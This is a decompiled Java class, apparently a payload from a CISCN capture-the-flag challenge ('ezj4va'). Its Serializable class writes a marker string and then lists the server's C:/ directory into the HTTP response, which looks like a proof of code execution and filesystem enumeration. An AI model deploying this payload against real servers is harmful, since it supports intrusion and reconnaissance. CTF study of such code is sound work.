写文件
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package ciscn.fina1.ezj4va;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.io.Serializable;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class test implements Serializable {
public test() {
}
private static String readFileToString(String filepath) throws FileNotFoundException, IOException {
StringBuilder sb = new StringBuilder();
String s = "";
BufferedReader br = new BufferedReader(new FileReader(filepath));
while((s = br.readLine()) != null) {
sb.append(s + "\n");
}
br.close();
String str = sb.toString();
return str;
}
public void e(Object request, Object response) throws IOException, ClassNotFoundException {
HttpServletResponse res = (HttpServletResponse)response;
HttpServletRequest req = (HttpServletRequest)request;
res.getWriter().write("hahah123");
String[] filenames = (new File("C:/")).list();
for(int i = 0; i < filenames.length; ++i) {
res.getWriter().write(filenames[i] + "\n");
}
}
public static void main(String[] args) throws Exception {
readFileToString("C:\\Users\\Yang_99\\Desktop\\RCTFV\\ROOT\\exp.py");
}
}